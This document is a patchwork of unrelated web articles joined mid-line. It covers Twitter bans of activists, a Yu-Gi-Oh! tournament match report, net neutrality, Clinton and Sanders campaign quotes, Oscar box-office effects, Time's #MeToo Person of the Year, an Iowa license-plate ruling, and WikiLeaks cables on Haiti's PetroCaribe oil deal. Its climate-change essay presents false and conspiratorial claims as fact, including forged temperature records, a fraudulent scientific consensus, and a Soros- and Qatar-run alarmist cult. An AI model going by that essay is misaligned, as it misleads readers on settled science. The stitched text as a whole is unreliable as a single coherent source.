Important Update: another very important POC voice was removed from Twitter: Sir James, @JKH2’s account was banned.
The pattern is exactly the same as I described above:
Sir James was threatened and harassed. They even went as far as to send him threatening private emails on his private email address.
When he finally reacted, they mass reported him, for…harassment.
And Twitter again responded by banning him and not the actual harassers.
The person behind this (@avalonmarie83) immediately locked her account to avoid any backlash, something which was also done by @Wade_Turnbull immediately after he managed to get Bravenak banned. All this follows the exact same pattern.
This whole process/ campaign is very well organized.
This is the third important Democratic/ black voice that has been removed from Twitter within a week.
Time to wake up Democrats/ DNC, because you’re going to need those voices in the 2018 elections…Jonathan Giancarlo Galarza Arevalo from Lima, Peru is Dueling against Mexico’s Javier Alejandro Valadez Solis in a Match in our Top 32 Feature Match! Valadez is using a DARK HERO Synchro Deck that uses old favorites like Destiny Draw, Destiny HERO – Diamond Dude, Destiny HERO – Malicious, and Plaguespreader Zombie, as well as new Synchro Monsters like Ultimaya Tzolkin and Coral Dragon, to overwhelm his opponents with massive fields. Galarza is using an Odd-Eyes Deck that capitalizes on Pendulum Summons whenever possible. One of these Duelists will advance to the Top 16, while the other will be eliminated. It’s time to Duel!
Duel One
Valadez started off Duel 1 by activating A Hero Lives, giving up 4000 Life Points to Special Summon Elemental HERO Shadow Mist from his Deck.
He activated its effect to add Mask Change to his hand and then used Reinforcement of the Army to add Armageddon Knight to is hand. He Summoned the Knight and used its effect to send Plaguespreader Zombie from his Deck to his Graveyard. Next, he activated Destiny Draw to discard Destiny Hero – Malicious and draw 2 cards. Then, he returned a card from his hand to the top of his Deck to Special Summon Plaguespreader to the field. He banished Malicious from his Graveyard to Special Summon another copy from his Deck, and then Tuned Plaguespreader Zombie with Armageddon Knight to Synchro Summon Coral Dragon. Next, he sent Coral Dragon and Malicious to the Graveyard to Special Summon Ultimaya Tzolkin from his Extra Deck and drew a card with Coral Dragon’s effect. He Set Mask Change and then activated the effect of Ultimaya Tzolkin to Special Summon Crystal Wing Synchro Dragon from his Extra Deck. He Set Twin Twisters before ending his turn.
Galarza activated Sky Iris and then Normal Summoned Performapal Parrotrio. He activated the effect of Sky Iris, and Valadez Chained Mask Change to transform his Shadow Mist into Masked HERO Dark Law. Valadez added Odd-Eyes Fusion to his hand with Sky Iris after banishing his Parrotrio, and Valadez used the effects of his Dark Law and Shadow Mist. He randomly banished Odd-Eyes Mirage Dragon from Valadez’s hand with Dark Law’s effect and added Destiny HERO – Diamond Dude from his Deck to his hand with Shadow Mist’s effect. Next, Galarza activated Odd-Eyes Fusion. He fused Odd-Eyes Rebellion Dragon and Odd-Eyes Meteorburst Dragon from his Extra Deck to Special Summon Odd-Eyes Vortex Dragon. He attacked Dark Law with his Vortex Dragon to destroy Dark Law and then placed Odd-Eyes Pendulum Dragon in his Pendulum Zone. He destroyed his Odd-Eyes Pendulum Dragon in his End Phase to add Performapal Pendulum Sorcerer from his Deck to his hand.
Valadez drew Vanity’s Emptiness. He activated Resonator Call to add Red Resonator from his Deck to his hand and then Normal Summoned Red Resonator and used its effect to Special Summon Diamond Dude from his hand. He Set Vanity’s Emptiness next, activating the effect of Ultimaya Tzolkin to Special Summon another monster from his Extra Deck. Galarza immediately conceded, before Valadez could even choose a monster to Special Summon.
Valadez Summons Ultimaya Tzolkin on his first turn and uses it to win with his HERO Deck! Galarza will be going first in Duel 2!
Duel Two
Galarza started off Duel 2 by Summoning Majespecter Raccoon – Bunbuku and using its effect to add another Bunbuku to his hand.
He placed Bunbuku and Parrotrio in his Pendulum Zones and then Pendulum Summoned Majespecter Cat – Nekomata. He combined Nekomata with Bunbuku to Xyz Summon Totem Bird and then added Bunbuku from his Deck to his hand in his End Phase with Nekomata’s effect.
Valadez opened up with Reinforcement of the Army, Mask Change, A Hero Lives, Destiny Draw, Twin Twisters, and Solemn Strike. He activated A Hero Lives and gave up 4000 Life Points to Special Summon Elemental HERO Shadow Mist from his Deck. Galarza discarded Ghost Ogre & Snow Rabbit to destroy Shadow Mist when Valadez used its effect, and Valadez added Mask Change to his hand. Next, Valadez activated Reinforcement of the Army. Galarza negated it by detaching both Xyz Materials from Totem Bird, and Valadez Set Solemn Strike, Twin Twisters, Mask Change, and Destiny Draw before ending his turn.
Galarza Pendulum Summoned Bunbuku from his hand and activated its effect to add Majespecter Unicorn – Kirin from his Deck to his hand. He Normal Summoned Odd-Eyes Mirage Dragon next, and attacked directly with Bunbuku, Totem Bird, and Odd-Eyes Mirage Dragon wipe out Galarza’s 4000 Life Points!
Galarza takes a quick win in Duel 2 after negating Valadez’s critical Reinforcement of the Army with the effect of Totem Bird!
Duel Three
Valadez opened up Duel 3 with A Hero Lives, Destiny HERO – Malicious, Foolish Burial, Instant Fusion, and Resonator Call. He activated A Hero Lives and gave up 4000 Life Points to Special Summon Shadow Mist from his Deck. He used Shadow Mist’s effect to add Mask Change to his hand. Next, he activated Resonator Call to add Red Resonator from his Deck to his hand. He activated Foolish Burial to send Plaguespreader Zombie from his Deck to his Graveyard and then Tributed Shadow Mist to Summon Destiny Hero – Malicious. He activated Instant Fusion next, giving up 1000 Life Points to Special Summon Elder Entity Norden from his Extra Deck. He used Norden’s effect to Special Summon Plaguespreader Zombie from his Graveyard and then Tuned Norden with Plaguespreader Zombie to Synchro Summon Coral Dragon. He combined Coral Dragon with Malicious to Special Summon Ultimaya Tzolkin in Defense Position and then drew Bottomless Trap Hole with the effect of Coral Dragon. He Set Bottomless Trap Hole and then used Ultimaya Tzolkin’s effect to Special Summon Void Ogre Dragon from his Extra Deck. Next, he put a card from his hand on top of his Deck to Special Summon Plaguespreader Zombie from his Graveyard, and banished Malicious from his Graveyard to Special Summon another Malicious from his Deck. He Tuned Malicious with Plaguespreader Zombie to Synchro Summon Stardust Dragon and then banished Malicious from his Graveyard to Special Summon another Malicious from his Deck. He activated Mask Change to transform Malicious into Dark Law and then ended his turn.
Galarza Tributed Valadez’s Void Ogre Dragon to Summon Kumongous, the Sticky String Kaiju.
He activated Pot of Desires next, banishing the top 10 cards of his Deck face-down to draw 2 cards. Next, Dark Law’s effect randomly banished Parrotrio from Galarza’s hand. Galarza placed Amorphage Sloth and Performapal Pendulum Sorcerer in his Pendulum Zones and then Normal Summoned Secondonkey. He used its effect to add Performapal Horse Radish to his hand and then Special Summoned Horse Radish to his field with its effect. He used Horse Radish’s effect to drain 500 ATK from Kumongous, and then combined his 2 monsters to Xyz Summon Dark Rebellion Xyz Dragon; but Valadez flipped Bottomless Trap Hole to banish it! Galarza Set a card to his back row and then passed his turn.
Valadez drew Ghost Ogre & Snow Rabbit. He attacked directly with Kumongous, Dark Law, and Stardust Dragon, dropping Galarza down to 700 Life Points.
Galarza Normal Summoned Metaion, the Time Lord! He attacked with Metaion, and then its effect activated to return Kumongous to Galarza’s hand, and Valadez’s remaining 3 monsters to the Extra Deck, while Metaion remained on the field! Galarza lost 1200 Life Points due to Metaion’s effect.
Valadez drew A Hero Lives! He activated it and gave up 400 Life Points to Special Summon Shadow Mist from his Deck! He used Shadow Mist’s effect to add Mask Change to his Deck and then activated Mask Change to transform Shadow Mist into Dark Law. At that point, time in the round was called, with Valadez ahead 900 Life Points to 700 Life Points.
Galarza drew a card and then Metaion returned to the Deck in his Standby Phase. Galarza Normal Summoned Archfiend Eccentrick and Tributed it to destroy Dark Law before ending his turn.
Valadez drew Destiny Draw. He Set it along with Ghost Ogre & Snow Rabbit before passing his turn. Galarza destroyed the Destiny Draw with Mystical Space Typhoon in the End Phase.
Galarza Set a monster and passed his turn.
Valadez Set Red Resonator and passed.
Galarza Tributed Valadez’s face-down Red Resonator to Summon Kumongous to his field and then Flip Summoned Maxx “C”. He activated Sky Iris and used its effect to destroy his Maxx “C” and add Odd-Eyes Fusion to his hand. He activated Odd-Eyes Fusion to Special Summon Odd-Eyes Vortex Dragon by sending Odd-Eyes Meteorburst Dragon and Odd-Eyes Rebellion Dragon from his Extra Deck to his Graveyard and then used his Vortex Dragon’s effect to return Kumongous to his hand. He Tributed Valadez’s face-down Ghost Ogre & Snow Rabbit to Summon Kumongous back to Valadez’s field, and then Normal Summoned D.D. Crow. Vortex Dragon attacked and destroyed Kumongous, and then a direct attack from D.D. Crow dropped Valadez down to 700 Life Points, leaving the score tied!
Valadez had one last chance to draw a monster that could attack over D.D. Crow and win the Duel, but drew Destiny Draw and offered the handshake! He was unable to inflict any damage to Galarza’s Life Points and unable to prevent Galarza from finishing him off on the next turn.
Jonathan Giancarlo Galarza Arevalo is moving on to the Top 16 thanks to Metaion, the Timelord!by Jon T. Norwood
If the public truly knew and understood the issues involved in regulating the Internet, specifically the companies that provide Internet access, Net Neutrality would have been a much more important issue. Unfortunately, the public either did not understand or did not care and now, Net Neutrality is all but dead in Europe, and breathing its last breath in the United States.
The Death Blow
On Wednesday, March 5, the House Energy and Commerce Communications and Technology Subcommittee voted to approve a joint resolution by a vote of 15 to 8 that effectively dismantles the FCC’s net neutrality rules; it now moves to the House. With the GOP in control of the House, it is likely that the measure will pass. This is further reinforced by the fact that there is little in the news about the issue.
With the Internet increasingly dominating the news, and public popularity controlling that dominance, the fact that there was little reporting on the issue is tied to the fact that those stories that did come out fared poorly in the popularity ratings. People just do not care, or so it seems. That lack of concern will be the primary driving force behind the death of Net Neutrality. Is there really no point to having some level of government regulation over Internet access and how it is handled?
The Non-Issues
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Hillary Clinton: “I really think one of the best ways that I can be a good partner is to lift up what is working and lift up people who are trying to work together, and using the White House. And I like to say, you know, yes, we can use the White House as a bully pulpit. We don’t want a bully in the White House, but we can use the bully pulpit to talk about issues.”
Bernie Sanders has focused his campaign energy into the California primary in recent weeks. He spoke at a rally in San Pedro on Friday.
Sen. Bernie Sanders: “Our ideas and belief in economic justice, in social justice, in racial justice, in environmental justice, in immigration reform and a path toward citizenship, in rebuilding inner cities throughout this country, in protecting the needs of the Native American people, our ideas are the future of this country.”
On Sunday, Sanders visited the original Delano headquarters of the United Farm Workers union, where he reiterated his call for a national ban on fracking when asked what he would do about poor water quality in the San Joaquin Valley. This comes as environmental groups are criticizing the Obama administration after two federal agencies finalized reports claiming fracking off the coast of California would pose no “significant” risk to the environment. The announcement of the reports by the U.S. Bureau of Ocean Energy Management and the Bureau of Safety and Environmental Enforcement ends a court-ordered moratorium on offshore fracking, which was put into place earlier this year after the Center for Biological Diversity challenged the administration’s practice of “rubber stamping” offshore drilling without an environmental review.“The Revenant” is locked in a fierce battle for Best Picture, but even if the revenge drama fails to bag the top prize, it may be the big winner from Thursday’s Oscar nominations.
The story of a fur trapper who is mauled by a bear and left for dead, earned a healthy $39.8 million when it debuted in wide release last weekend. Armed with a leading 12 nominations, including nods for stars Leonardo DiCaprio and Tom Hardy, as well as director Alejandro G. Iñárritu, the film is perfectly positioned to capitalize on the Oscar love. It’s also riding high after a Best Picture (Drama) victory at last weekend’s Golden Globe Awards.
“It’s certainly getting a lot of free publicity this week,” notes Eric Handler, an analyst with MKM Partners.
The awards attention helps justify the financial risk that Fox and the film’s primary backer New Regency took on the troubled production. The budget for the film ballooned from $90 million to $135 million — a figure more commonly associated with comic book movies than bloody tales of frontier retribution — and a lack of snow forced Iñárritu and company to move shooting from Canada to Argentina.
“The Revenant,” which needs roughly $400 million worldwide to break even, has grossed over $74 million to date with several outstanding territories abroad.
Jumping to 3,558 locations domestically this weekend–a 183 theater increase–DiCaprio’s revenge drama isn’t the only Oscar contender looking to add theaters in the wake of the nominations.
“Spotlight,” a drama about the Boston Globe’s investigation of the Catholic Church sexual abuse scandal, will move from 368 locations to 973 after scoring six nods including ones for picture, director (Tom McCarthy), supporting actor (Mark Ruffalo), and supporting actress (Rachel McAdams).
“Room,” the story of an abducted woman (Brie Larson), will increase from less than 100 theaters to roughly 300 venues. The best picture nominee could also get a lift from Larson’s best actress victory at last weekend’s Golden Globes. With a modest $5.2 million in receipts, it could see its box office results rise substantially following the Oscar attention.
And “Brooklyn,” an elegiac love story about an Irish immigrant, will increase its theater count from 285 to 681. It plans to continue its expansion the following weekend when it could be in between 800 and 900 locations.
“The Big Short,” an off-beat comedy about the financial crisis, is also well-positioned to cash in on the awards attention. However, unlike “Brooklyn” and “Room,” it will see its theater count fall from 2,529 locations to 1,765 theaters.
Not every awards contender stands to get a bump at the multiplexes. “Mad Max: Fury Road,” which scored the second most nods with 10, has been on home entertainment platforms since September, while “The Martian” with seven nominations, debuted on DVD last Tuesday. Of course, those two films are already the highest-grossing of the best picture nominees. “The Martian” earned $597.1 million worldwide and “Mad Max: Fury Road” took in $375.8 million.
The remaining best picture contender, Steven Spielberg’s “Bridge of Spies,” has basically wrapped up its run in theaters, having debuted in October and earned $70.8 million stateside. It hits home entertainment platforms in February, so any bump it receives will come on iTunes and other on-demand services, not at cinemas.
Assessing the impact of awards on ticket sales can be tricky, analysts note. Last year’s best picture winner “Birdman” earned $15.7 million of its $42.3 million domestic gross after nominations, while the previous year’s recipient “12 Years a Slave” racked up $15.3 million of its $56.7 million in receipts following the announcement. But “The Hurt Locker,” the victor in 2009, added a meager $2 million and change to its gross after nominations were made because it was already available in the home having hit theaters in the summer. Timing is everything.
“There’s no conventional formula by which a film gets a bump because there are so many variables,” said Paul Dergarabedian, senior media analyst at Rentrak. “But for some movies it raises their profile and puts them on audiences’ radars.”Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Dec. 6, 2017, 12:40 PM GMT / Updated Dec. 6, 2017, 10:53 PM GMT By Erik Ortiz
"The Silence Breakers" of the #MeToo movement, who gave a voice to sexual assault and harassment survivors — and showed them that they are not alone — are Time's 2017 Person of the Year, the magazine revealed exclusively Wednesday morning on "Today."
While the concept of #MeToo was started in 2006 by activist Tarana Burke, its use became part of the national conversation in October after celebrities on social media used it to share their own sexual abuse stories in the wake of the Harvey Weinstein scandal. The wave of stories prompted people from all walks of life to add their voice to the movement.
Time Person of the Year of 2017. The cover features actress Ashley Judd, singer Taylor Swift, corporate lobbyist Adama Iwu, worker Isabel Pascual and former Uber engineer Susan Fowler. TIME
"I could never imagine this, I could never have envisioned something that could change the world," Burke told "Today" alongside actress Alyssa Milano, who says she was also sexually harassed and helped bring the #MeToo hashtag to a wider audience.
"As women we have to support each other and stand up and say, 'No more,'" Milano said.
Time's cover story features some of the women who spoke out against Weinstein, the former Hollywood movie producer who resigned from his studio in October and faces more than 80 sexual misconduct allegations dating back to the 1970s.
Related: Since Weinstein, here's the list of men accused of sexual misconduct
Actress Rose McGowan, who settled with Weinstein in 1997 after accusing him of rape, has said she wanted to expose how Hollywood propagates a culture of silence in order to protect the powerful. And it's not just Hollywood, but assault occurs in boardrooms and the corridors of Washington and at meet-and-greets.
Actress Ashley Judd, who was featured on the magazine's cover along with several other women, also recounted her experience with Weinstein in the magazine.
But she told NBC News that the "country is different" now and that "things will be different going forward" with this movement.
"It's going to be a process. It may be messy and at times a little unruly," she said. "It won't please everybody, some folks are going to stop getting something which they have taken which wasn't theirs," she said.
Pop star Taylor Swift spoke for the first time to Time about being sued by a Denver radio personality after she complained that he groped her in 2013 at a fan event. A civil jury sided with Swift, awarding her a symbolic $1.
"To this day he has not paid me that dollar, and I think that act of defiance is symbolic in itself," Swift said.
The other interviews in Time ranged from high-powered executives to women who work as hotel housekeepers or pick strawberries in fields.
"The number of people sharing their stories with me is so intense, especially since all of this is incredibly triggering for me as well," McGowan told Time. "People forget a lot that there's a human behind this, someone who is very hurt."
Weinstein has denied all allegations that he engaged in non-consensual sex with women, and no criminal charges have been brought against him.
Burke told Time that the stigma for sexual assault victims has long been a badge of disgrace, but now the tide has shifted.
"Sexual harassment does bring shame," Burke said. "And I think it's really powerful that this transfer is happening, that these women are able not just to share their shame but to put the shame where it belongs: on the perpetrator."
The women who broke their silence were selected for Time's annual honor, ahead of last year's Person of the Year, President Donald Trump, and Chinese President Xi Jinping.First, the main instigators have crossed the Rubicon and have no choice but to fight. How has this happened? Nature was one cause: the short-term natural warming in 1978-1998 was mistaken for anthropogenic warming through the confirmation bias. Natural cooling from 1999 onward has canceled the expected anthropogenic warming (which is small, beneficial, and caused by a variety of factors -- not just carbon dioxide release).
But other causes were entirely manmade. In hindsight, it is clear that for almost two decades (approximately 1988 -- 2004) multiple groups of climate “scientists” have been fabricating results in parallel, unaware that others were doing the same. Mann with his hockey stick got the most fame, but he was just one among many. Computer models, descriptions of the carbon cycle, and even instrumental temperature records were forged to exaggerate climate sensitivity to carbon dioxide, to hide past climate variations, to argue that carbon dioxide release is irreversible, etc. The environmental movement, encouraging and encouraged by this perversion of science, made global warming its central theme. And so did many mainstream politicians. Al Gore was the towering figure among them. He used his two terms as vice president to gut American science, replacing scientists with environmentalists and lawyers (see the book Politicizing Science: The Alchemy of Policymaking, which contains essays by William Happer, Bernard Cohen, Patrick Michaels, Fred Singer and other scientists who experienced or witnessed this process). A vicious spiral developed: alarmist politicians handpicked scientists supporting the alarm, then they believed their claims, and so it went. A hardened core of climate alarmism was formed from such politicians and their quasi-scientists. This core attracted multiple layers of followers, ranging from ordinary profiteers and leftist extremists to totally innocent duped believers.
This tower of lies started shaking in 2004, the sixth year without warming. At the end of 2003 Steve McIntyre and Ross McKitrick published an article in Energy & Environment, pointing to errors in the centerpiece of the latest IPCC report, Mann’s hockey stick. Mann was unrepentant, and other participants in the IPCC process jumped to defend their centerpiece. When the “errors” were exposed as a deliberate fraud, the alarmists decided to rally behind Mann and launched a major PR offensive. Such pattern of defending the dogma at any cost was repeated many times in similar situations. And each time the stakes rose, climate alarmism sank lower -- scientifically, ethically, and legally. More importantly, the core believers were pulling their followers further in, making them like partners in crime, sometimes without their awareness. That made it impossible for the inner circle to come clean, or even to quit.
The second problem can be illustrated by the words of former Senator Timothy Wirth, which he said no later than 1993: "We've got to ride the global warming issue. Even if the theory of global warming is wrong, we will be doing the right thing, in terms of economic policy and environmental policy." Too bad he did not ask where the ride was heading and who was at the wheel. The result was that many liberal or left-leaning institutions, including the whole Democratic Party, hitched themselves to the hostile agendas of the UN and European Greens. Timothy Wirth became the Chairman of the UN Foundation. Unable to get off this hellish ride, some of his allies effectively became tools of foreign governments and NGOs. An example of such behavior at the highest level is the joint climate change statement with China, in which the U.S. promised to decrease carbon dioxide emissions, while China promised to increase them! This document was signed by Obama and praised by the formerly mainstream media as a breakthrough agreement.
The main official bodies of climate alarmism are two United Nations agencies -- the UNFCCC and the IPCC. Next, there is a large number of NGOs, mostly foreign and transnational, united under the Climate Action Network, headquartered in Lebanon. These NGOs communicate the IPCC’s message to the public. The daily sources of the alarmist propaganda, other than the Obama administration, rank as follows:
The Guardian – a rabidly anti-American British newspaper. The Quantum Group of hedge funds (aka George Soros) -- a hysterically anti American financial-political entity, domiciled in Curaçao and the Cayman Islands. It operates through a network of front groups, of which thinkprogress.org and mediamatters.org are the most involved in climate alarmism. The Government of Qatar, operating through the al Jazeera network.
Most of the climate change media coverage originates either from one of these entities or from the Obama administration, which listens to them. Google’s chairman, Eric Schmidt, is also on Obama’s Council of Advisors on Science and Technology, co-chaired by the infamous John Holdren. There are reasons to believe that Google search is unnaturally slanted in favor of climate alarmism (disclosure: I host my own Sane Climate Search to help people to discover the realist side of climate debate).
By casting their lot with foreign powers (not always knowingly), Democrat politicians, university administrators, government bureaucrats, and many prominent individuals gave those powers leverage over them. And the alarmists have been ruthlessly exploiting this leverage to push their sympathizers toward more and more damaging actions: halting research and development into safer nuclear power plants (under the Clinton administration), preventing companies from building new nuclear power plants, harassing the oil and gas industry’s exploration and construction of pipelines, establishing Climatism as the state religion with mandatory indoctrination of children in public schools, and much more. These relations involve a vicious spiral as well: with each concession to foreign alarmists, their domestic accomplices become more dependent on them.
Here we stand right now. The alarmist movement cannot de-escalate the situation after the dramatic “end of the world” claims it made. It cannot achieve any reasonable goal (like a 10% decrease in CO 2 release), declare victory, and move on, because it has already committed to UN control over the global climate (keeping warming below 2 degrees). Some foreign governments and NGOs still intend to use climate change rhetoric to rob the U.S. on an unprecedented scale (see From Billions to Trillions --Transforming Development Finance).
Most climate alarmism supporters belong to the soft outer layers. Their only loss from untangling themselves from the alarmism will be acute embarrassment, which they will experience for lending their support to this anti-scientific medieval cult. Of course, the sooner they let alarmism go, the less embarrassed they will be. But the inner core (a few hundred individuals at most) has no way out, and has no intent to release its followers. The administrators and senior faculty of universities, research institutes, and government agencies, who have either failed to stop or even assisted climate alarmism in taking over their institutions, might be in trouble too. Many of them exploited the reputations earned by these institutions to peddle the lowest forms of climate alarmism. For example, Harvard University had built its reputation for almost four centuries, only to see it destroyed within a couple decades or even years, in large part by promoting climate alarmism. This letter from Harvard President Dr. Faust is an example.
When their less committed followers, including Democrat congresspersons, Senators, editors of major media outlets, liberal billionaires etc., suspect foul play, the alarmist core throws a fit and demands that they stop thinking, acting, and most of all listening to the “deniers.” Amazingly, the followers obey, even though some of them are extremely smart and experienced. Apparently, these people do not notice that the so-called “climate scientists” have no scientific achievements outside of the insular “climate science,” and that whatever honors they received were given either by their non-distinguished peers or by politicized bodies (Heinz Awards, MacArthur Foundation Awards, etc.). The “scientific consensus” is not an argument but passive-aggressive acknowledgement of a lack of arguments, and their allegations of a denial machine, secretly funded by “fossil fuels,” are just conspiracy theories. The alleged 97% agreement is closer to election results in the former Soviet Union than to the opinions of actual scientists.
The forecast is not comforting: the alarmist core has no choice but to escalate its assault on society, and to push its powerful followers (including the Obama administration) to more and more desperate acts.
Ari Halperin researches and writes about climate alarmism as a complex and dangerous phenomenon.Advertisement A warning to all Iowa drivers to check your license plate Share Shares Copy Link Copy
The Iowa Supreme Court says police officers can legally stop any vehicle that has a frame covering the county name on its license plate.Watch video of this storyThe court ruled 5-2 on Friday that obscuring the county violates a law that requires motorists to "permit full view of all numerals and letters" on the plate.We found a number of cars in the KCCI parking lot that had the problem Friday morning."Something's wrong with my van? The license plate frame? It was a gift from one of my nephews for Christmas because I'm a Bears fan," ask KCCI staffer Brandi Vick, walking to the parking lot with Eric Hanson. "I'll probably go home and take it off. I never thought about it.""Well, I think it covers up the county a little bit," said KCCI staffer Peter Zemansky. "I think you could tell what it is if you knew what you were looking for, but it's kind of hard to read. I don't want to run the risk of getting pulled over."Here's the rule you need to follow…"Anything that is imprinted on a license plate needs to be visible to all law enforcement. So basically that means the numbers, the letters and the county that is displayed on that plate," said State Patrol spokesman Sgt. Scott Bright.The court's ruling backs undercover Davenport officers who used the issue to justify stopping a man who was under surveillance for suspected drug dealing.Dissenting Justice Brent Appel said the ruling is a warning to thousands of motorists who have frames promoting sports teams and auto dealers.He said they need to check whether the frame covers the county name because police now "may stop the vehicle anywhere and at any time" without any sign of other criminal wrongdoing.The dissenting part of the ruling reads, "The take-away point for Iowa citizens is that they better go out to the garage and check their license plate frames if they want to avoid being pulled over by law enforcement on the open road. For the thousands of Iowans who have a frame that promotes a sports team, or an auto dealer, or have a nice (or not so nice) slogan, beware! If the license plate frame happens to obscure the county name on the plate, the State will take the position that police may stop the vehicleanywhere and at any time, whether one is dropping the kids off at school, returning home from the football game, or on the way to work, without any further sign of criminal wrongdoing."Having the county name showing could help witnesses to a crash or problem help police ID a vehicle, which is another reason it needs to be completely showing."They might not remember the letters or the numbers, but if they see a county and get a description of the car, that definitely could help us out trying to find that person," said Bright.You can read the entire ruling online here.Look for more on this story coming up on KCCI-TV, KCCI.com and our mobile website m.kcci.com and apps.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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When René Préval took the oath of Haiti’s presidential office in a ceremony at Haiti’s National Palace on May 14, 2006, he was anxious to allay fears in Washington that he would not be a reliable partner. “He wants to bury once and for all the suspicion in Haiti that the United States is wary of him,” said US Ambassador Janet Sanderson in a March 26, 2006, cable. “He is seeking to enhance his status domestically and internationally with a successful visit to the United States.” Ad Policy
This was so important that Préval “declined invitations to visit France, Cuba, and Venezuela in order to visit Washington first,” Sanderson noted. “Preval has close personal ties to Cuba, having received prostate cancer treatment there, but has stressed to the Embassy that he will manage relations with Cuba and Venezuela solely for the benefit of the Haitian people, and not based on any ideological affinity toward those governments.”
Soon, however, it became clear that managing relations with those US adversaries “solely for the benefit to the Haitian people” would be enough to put Préval in Washington’s bad graces—especially when it came to the sensitive matter of oil.
Immediately after his inauguration ceremony, Préval summoned the press to a room in the National Palace, where he inked a deal with Venezuelan Vice President José Vicente Rangel to join Caracas’s Caribbean oil alliance, PetroCaribe. Under the terms of the deal, Haiti would buy oil from Venezuela, paying only 60 percent up front with the remainder payable over twenty-five years at 1 percent interest.
As the press conference rolled on, just a mile away from the National Palace, in the bay of Port-au-Prince, sat a tanker from Venezuela carrying 100,000 barrels of PetroCaribe diesel and unleaded fuel.
Préval’s dramatic inauguration day oil deal won high marks from many Haitians, who had demonstrated against high oil prices and the lack of electricity. But it ushered in a multiyear geopolitical battle among Caracas, Havana and Washington over how oil would be delivered to Haiti and who would benefit.
The revelations come in a trove of 1,918 cables made available to the Haitian weekly newspaper Haïti Liberté by the transparency group WikiLeaks. As part of a collaboration with Haïti Liberté, The Nation is publishing English-language articles based on those cables.
The State Department did not respond to a request for comment on the disclosures in this article.
According to the leaked US Embassy cables, Washington and its allies, including Big Oil majors like ExxonMobil and Chevron, maneuvered aggressively behind the scenes to scuttle the PetroCaribe deal.
For the Haitian government the oil support from Venezuela was key in providing basic needs and services to 10 million Haitians, securing a guaranteed supply of oil at stable prices, and laying the basis for Haitian energy independence from the United States.
Further, Haiti “would save USD 100 million per year from the delayed payments,” noted the Embassy in a July 7, 2006, cable. Préval earmarked these funds for hospitals, schools and emergency needs, such as disaster relief. But the US Embassy opposed the deal.
“Post [the Embassy] will continue to pressure Preval against joining PetroCaribe,” Ambassador Sanderson wrote in one April 19, 2006, cable. “Ambassador will see Preval’s senior advisor Bob Manuel today. In previous meetings, he has acknowledged our concerns and is aware that a deal with Chavez would cause problems with us.”
In a cable nine days later, on April 28, Sanderson recognized that Préval was under “increasing pressure to produce immediate and tangible changes in Haiti’s desperate situation.” She also noted that “Preval has privately expressed some disdain toward Chavez with Emboffs [Embassy officials]…. Nevertheless, the chance to score political points [with the Haitian people] and generate revenue he can control himself proved too good an opportunity to miss.”
Sanderson, who had been appointed ambassador to Haiti by President Bush, is now deputy assistant secretary of state in the Obama administration.
To implement the PetroCaribe deal, Haiti had to meet certain terms and reorganize its internal oil market. As a result, it would be almost two years before PetroCaribe oil would begin consistently flowing into Haiti. The key obstacles, though, remained the US Embassy and Big Oil, which controlled oil shipping and distribution networks in Haiti, according to the WikiLeaks cables.
“International oil companies are increasingly concerned—both Texaco and Esso will meet with the Ambassador in the near future—that they will have to buy their oil from the GOH [Government of Haiti],” wrote Ambassador Sanderson in a May 17, 2006, cable, concluding that “we will continue to raise our concerns about the PetroCaribe deal with the highest levels of government.”
Christian Porter, ExxonMobil’s country manager, “speaking for both ExxonMobil and Chevron, stressed that they would not be willing” to buy oil from the Haitian government “because they would lose their off-shore margins and because of PetroCaribe’s unreliable reputation” for timely deliveries, Sanderson wrote. She concluded that it was a “dubious proposal that neither the U.S. oil companies in Haiti—responsible for about 45 percent of Haiti’s petroleum imports—nor Venezuela, for that matter, is likely to agree to.”
She was wrong about Venezuela but right about the oil companies. An October 13, 2006, cable explains that ExxonMobil and Texaco/Chevron were “shocked” but hadn’t “informed the government of their concerns,” which Sanderson encouraged the two companies to do.
Sanderson reiterated that despite her “numerous attempts to discuss (and discourage) GOH intentions to move forward with the PetroCaribe agreement, the GOH insists the agreement, implemented in full, will result in a net gain for Haiti.”
The US ambassador also detailed how the oil companies were attempting to sabotage the agreement: “Following Preval’s September 27 meeting with all four oil companies… the oil industry association (Association des Professionals du Petrole—APP) received an invitation to meet with representatives of the Venezuelan oil company who were in Haiti. All four companies refused to attend. Also, the companies received letters separately requesting information on importation and distribution from the GOH on October 9. So far, no one has responded.”
Sanderson concluded one long October 13 cable by explaining how she had stressed “the larger negative message that [the PetroCaribe deal] would send to the international community [i.e., Washington and its allies] at a time when the GOH is trying to increase foreign investment,” and lamenting that “President Preval and his inner circle are seduced by [PetroCaribe’s] payment plan.”
The Oil Companies and US Embassy Dig In
With parliamentary ratification and technical details resolved, by early 2007 Préval thought he finally had everything in place to get PetroCaribe implemented. But the oil companies were not done trying to undermine the deal.
Michael Lecorps, appointed by Préval to head the government’s Monetization Office for Aid and Development Programs (formally known as the PL-480 office), which would handle PetroCaribe matters, told the oil companies that they would have to purchase PetroCaribe oil from the Haitian government, but the US companies said no. Quickly, there was a standoff.
Lecorps, “apparently infuriated by Chevron’s lack of cooperation with the GoH, stressed that Petrocaribe is no longer negotiable,” the chargé d’affaires, Thomas C. Tighe, reported in a January 18, 2007, cable. He also said that “ExxonMobil has made it clear that it will not cooperate with the current GoH proposal either.”
“Chevron country manager Patryck Peru Dumesnil confirmed his company’s anti-Petrocaribe position and said that ExxonMobil, the only other U.S. oil company operating in Haiti, has told the GoH that it will not import Petrocaribe products,” Tighe wrote in the same cable.
The embassy’s political officer reported that Chevron “refused to move forward with the discussions because ‘their representatives would rather import their own petroleum products.’”
Tighe continued that the Haitian government was “enraged that ‘an oil company which controls only 30% of Haiti’s petroleum products’ would have the audacity to try and elude an agreement that would benefit the Haitian population.”
The Haitian government stressed that they “would not be held hostage to ‘capitalist attitudes’ toward Petrocaribe and that if the GoH could not find a compromise with certain oil companies, the companies may have to leave Haiti,” reported Tighe.
Enter Hugo Chávez
Venezuelan President Hugo Chávez arrived in Haiti on March 12, 2007, to a spontaneous hero’s welcome by tens of thousands of Haitians, who jogged alongside his motorcade from the airport to the National Palace. The Venezuelan president came bearing many gifts.
